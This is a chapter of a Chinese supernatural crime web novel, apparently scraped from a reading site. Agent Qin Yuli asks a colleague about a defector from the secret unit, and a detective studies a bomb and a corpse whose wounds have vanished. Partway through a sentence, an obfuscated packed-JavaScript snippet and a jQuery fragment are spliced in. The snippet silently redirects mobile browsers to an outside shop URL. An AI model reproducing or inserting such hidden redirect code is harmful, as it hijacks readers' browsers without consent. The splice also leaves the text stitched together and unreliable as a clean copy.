77.第77章 叛逃者

作品:《重生案取缔组

    “老范,请教你个事。”刚刚从净化舱里出来的秦于理像拎着一扎啤酒那样,手里拎着四罐补剂,大步走到范朋面前。


    通过探测器的检测,秦于理从A区脱困的时候,被污染指数居然飙到了93ul的高度,如果不是她的抗性强,可能当场就疯了。所幸秦于理向来不喜欢与人亲密接触,因此赵萌萌很幸运地没有沾上她的污染,在发现探测器警报数值跳红后,秦于理当场打发赵萌萌下班回家,自己一个人开车回了重案组。


    上车以后,秦于理便把携带的所有补剂都拆了,给自己一股脑灌了下去,即便如此,一路上,她还是有三次进入恍惚状态,分不清现实和虚幻。还好夜深了,中秋灯会的人群差不多散了,开开停停、磕磕碰碰总算是平安归队。


    范朋依然在整理旧报纸,他上下打量了秦于理一眼,关切地问:“你还好吗,难得看到你这样,这次的事情很棘手?”


    秦于理点头:“有人设了圈套,想强行切入我的因果网动手脚。”


    范朋皱眉:“切入你的因果网?”他顿了顿,随后道,“那还真的是找死。”


    秦于理说:“他现在应该也不好受,不过,我还是想问问你,咱们重案组出过叛徒吗?”


    范朋的脸色微微变了一下,秦于理察言观色说:“那就是有了。”


    自从朱平案开始,秦于理便一直怀疑在隀明市的暗处可能活动着一个人或一个组织,他/他们对重案组和重生本身都具有高度的认知,并且在暗中用某种方式正试图或已经在操控这件悖逆正常世界秩序的事情。秦于理之前还只是怀疑,可现在对方都找上门来,尝试攻击她了,秦于理再看不出来就是蠢货了,而要说这世界上有什么人对于重生这件事的掌握度最高,除了重案组的人以外,秦于理想不到更合适的人选。


    范朋说:“你知道的,重案组历代成员的信息都是绝密档案,除了上边设立的有关部门高级管理者,就连非同期同地的组员往往也是互不知情的。”


    “你都说往往了,可见是有例外,”秦于理说,“就像霞鹜村的赵明廷那种?”


    “赵明廷不是重案组的人,他和城隍庙的霍殊一样,是曾经和重案组合作过的民间人士。”


    上次秦于理向范朋提起赵大仙儿,说的是不必特意去查,如果有空顺便看一眼,但范朋此时的话证明他明显是有把这件事放在心上并特地去查过的。


    “那你话里的这个例外确实是从重案组出去的人了。”


    范朋沉默不语。


    秦于理说:“老范,我记得我进入重案组第一天接受培训学到的就是,进入重案组以后我便不是我自己,我是重案组秦于理,重案组即我,我即重案组,我会在这里干到我的身体条件无法再胜任工作的那一天,到那时,培训教程上说等待我的是完全免费的调理身心,颐养天年的疗养院生活,但我想,那恐怕是另一种意义上的教化所。”


    这就是秦于理在方许恩执着想要加入重案组的时候委婉提醒过他的那句话——此门一入深似海。


    重案组这种只能在地下运作的无法见天日的部门,显然不可能是想加入就加入,想退出就退出的自由之地,历来重案组组员在完成任务后都说是进了疗养院,但那个疗养院在哪里,连秦于理都不知道,而根据这些年的工作经验来判断,秦于理觉得那并非什么让人安度晚年的极乐园,毕竟能在重案组干到报废的人,到出去的时候应该也和精神病差不多了。


    秦于理说:“我想我们这种人在退休后应该是会被管制起来的,因为我们从本质上来说和重生者没区别,甚至,我们因为接触的重生者太多,会比一个纯粹的重生者沾染的重生污染更多也更复杂,把我们这种人放出去,对这个世界的影响无法估量,换言之,在地上世界也即所谓正常的人类社会,不会存在现役重案组成员以外的重案组的人,但偏偏这次我碰到了,那么我只能猜测,重案组里曾经有人违背规则,成功逃了出去!”


    范朋沉默了好一会儿才说:“是有过这么一个人,但那已经是一个甲子之前的事了。”


    六十年前……秦于理迅速换算了一下,如果当时那个人是二十多岁,那么现在应该已经是八十多的老人了,她已经不记得隀明剧院门卫老头的具体长相,但对城隍庙那个老道士还依稀有些印象,但要说那个人有八十多岁,恐怕是不太符合。


    秦于理说:“你知道他为什么叛逃吗?”


    范朋说:“具体情况我也不清楚,只听说可能和一个女人有关,一个重生的女人。”


    秦于理皱眉:“不会是那种警察爱上贼的狗血故事吧?”


    范朋摇头:“不清楚,如果胡老师还在这里的话,她应该会知道得比我多一点,据说她和那个人曾经打过交道。”


    “胡队吗?”


    “嗯。”


    秦于理陷入回忆。胡队就是隀明市重案组的上一任队长,也即秦于理的前任,秦于理现在连她的名字都已经不记得了,很显然是受到了因果修正的影响。她只模糊记得那是一个身材板正,笑容和蔼的老妇人,秦于理认识她的时候,她已经一头华发,至于年纪,似乎说七十多也可以,说五十多也没什么不妥,形象是立体又模棱两可的,像高度散光者不戴眼镜看到的世界。当然,现在这位胡老师也已经进了上头专门为重案组组员们设立的疗养院,音讯全无。


    “那就是问不到了。”秦于理说,“也没关系,对方既然都找上门来了,以后有的是打交道的机会!”秦于理说着,将手里的补剂打开,又一口气干了半瓶。


    范朋说:“补剂也不能这么喝,它的药效是有上限的,喝多了还会产生抗药性。”


    秦于理说:“你忘了吗,我是特殊的,不能把一般人的情况套到我身上。”


    范朋说:“是的,你是特殊的,一般人污染数值到了60以上已经进入疯癫状态,而你几乎要突破100还能保持清醒开车回队,但这未必就是好事。人割了扁桃体以后,或许不会动不动就扁桃体疼痛发炎,但失去了这个晴雨表,人也可能无法及时发现自己已经感染呼吸道疾病,待到发作的时候恐怕就是十分严重的情况了。”


    “反正最糟糕的情况无非就是进疗养院,那岂不是算提前退休?”秦于理往后坐到一旁的办公桌上,喝空了一罐补剂,把空罐子投篮一样扔进了墙边的垃圾桶里。


    范朋轻轻叹了口气:“虽然这么说你未必喜欢,但我还是想说,我希望你好,希望你能在正常的人类世界尽可能地多停留一段时间,你还年轻。”


    秦于理笑了笑:“谢了,既然没多余的信息,那我先回去休息了,我也不是铁打的。”


    范朋也知道秦于理并不会听他的,就像他每次劝说秦于理不要除了工作就是缩在钟山腹中她那几节地铁车厢改造的宿舍里,过着与世隔绝的日子,但秦于理有她自己的选择,范朋也无法强行干涉。


    “那再见。”


    “再见。”


    范朋望着女孩子远去的瘦削背影,眸色微凝,许久,再度叹了口气,继续整理起他手头的旧报纸来。


    ……


    秋樰生刚刚回到局里,正在技术科里看几个同事复原刚刚炸伤武东青的土疙瘩。


    “原理并不复杂,就是个大容量的烟火加联动机关,一旦打开箱子就会牵动爆炸机扩,产生小范围的爆炸效果。”技术科的同事说,“武局不应该去碰那口箱子。”


    九点的时候,武东青准时抵达了恐吓犯预告的地点,在高架桥下的绿化带里发现了一口箱子,他上前打开查看,因此炸伤了胳膊,在烧伤科处理了好一阵子。


    “关心则乱。如果是你的孙子被人绑架了,凶犯约你前往的地点放着一口散发着血腥味的箱子,你能忍得住?”


    技术科的同事知道自己说错话了,轻轻说了句:“抱歉。”


    秋樰生是现场跟着武东青的人,全程目睹了整个过程。


    虽然武东青跟他一样,应该也没抱着能够在桥墩下面见到凶犯和孙子武心童的希望,但这和在现场发现一口散发着浓郁血腥味的纸箱的区别还是太大了,尤其是在今


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871765|183154||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天傍晚,他们才刚刚一起目睹了28号别墅卫生间杀人分尸现场满地血腥的情况下。


    秋樰生甚至怀疑,这种发现顺序都是凶手安排好的。这不仅是一出猫抓耗子的心理游戏,那只猫还十分谙熟对人心施加额外压力的手段。可以想见,如果不是叠加了血腥味,武东青这种老刑侦肯定也不会贸然上手就去开那口箱子,进而引发爆炸。


    秋樰生现在的感觉很不好,不管是不是刘克爽,他都觉得这个凶手压根就没想过放过武东青一家,武心童落到他手里肯定也是凶多吉少,但即便知道对方的用意,武东青又不可能就此放弃自己的孙子,不去以身涉险!


    这世界上最难下的棋叫明棋,最难走的路叫自古华山一条路,明知山有虎,却不得不向虎山行!这个对手明显是具备高度的反侦察能力和心理掌控能力的,他/他们做的所有事情都有章法可循,环环相扣,极难对付,但同时,因为这种公然挑衅的行为,整个隀明市公安系统至此已经被彻底惊动,所有休假干警都被召回岗位,目前已经成立了武心童事件的专案组,上级勒令必须在72小时内破案!


    小陆匆匆经过门口,被秋樰生喊了进来:“秋队!”


    秋樰生问:“武家其他人现在怎么样了?”


    小陆回答:“已经安排进安全屋了,有两组同事负责轮班值守。”


    凶手既然已经表现出了强烈的攻击性,武君朝夫妇和武东青的妻子林秀华也就不适合再住在自己家里了,不然牵扯到小区里的其他人,将造成更为恶劣的社会影响。


    秋樰生点点头,又问:“网上有新消息吗?”


    “小周在跟进信息科那边,五分钟前的消息是没有动静。春禹路、琼花路高架桥附近发生异响的帖子已经处理掉了,对外的口径是燃气管道小范围泄露引发的闪爆,安排了市燃气公司的人在外围拉了防护栏伪装检修。”


    网络舆论是把双刃剑,很多案件在发生初期不得不进行消息管控,一方面是防止罪犯获取警方下一步动向,另一方面也是为了防止引发社会面的普遍恐慌。人的想象力是无穷的,太平年代的人们又总是热衷于阴谋论,在案情尚不明朗的情况下,如果社会面闹了起来,那就真的是无法收拾了,这也是上头下令必须限时破案的原因,时间拖得久了,不管花多大的力气总会有消息走漏出去。


    “秋队!”法医李特突然出现在门口,喊了秋樰生一声。


    秋樰生抬头问:“怎么了?”


    李特说:“借一步说话?”


    秋樰生打发小陆回岗位,自己走了过去,跟着李特往外走。


    “这是去解剖室?”


    “刚刚在蒋小龙的尸体上发现了一点儿东西,不太确定,想找你参详一下。”李特说。


    “蒋小龙的尸体……”秋樰生现在回想起昨晚发现的蒋小龙的无头男尸,几乎已经像是过了半个世纪那么久了,谁能想到这十几个小时里居然发生了那么多的事情!


    秋樰生问:“他怎么了?”


    李特按指纹,打开了解剖室的门,一股阴凉的气息扑面而来。说来也是奇怪,明明解剖室的温度常年恒定设置在18-26摄氏度之间,但实际体感往往要比这低很多。如果用封建迷信来解释,也许就是所谓的阴气重。尤其是,一进入室内,秋樰生便看到了解剖台上白布下面呈现出的无头尸体轮廓。


    李特说:“你记得我跟你提过,蒋小龙的尸身初检的时候除了重度失血、脱水,颈部刀割伤以外,腹部还有两处贯穿伤吗?”


    秋樰生说:“记得。死者尸身上呈现出了超过必要的杀戮痕迹,所以我判断凶手对他应该充满了恨意。”


    “如果我说,我刚刚发现,那两处贯穿伤消失了呢?”


    “什么?”


    李特苦笑着揭开白布:“我也无法解释,但那两处伤口真的不见了,所以我想请你帮忙看看,我是不是疯了?”


    白布下面,蒋小龙的腹部苍白凹陷,除了解剖形成的Y字型缝合,其他部分皮肉完好,看不到任何中枪的痕迹。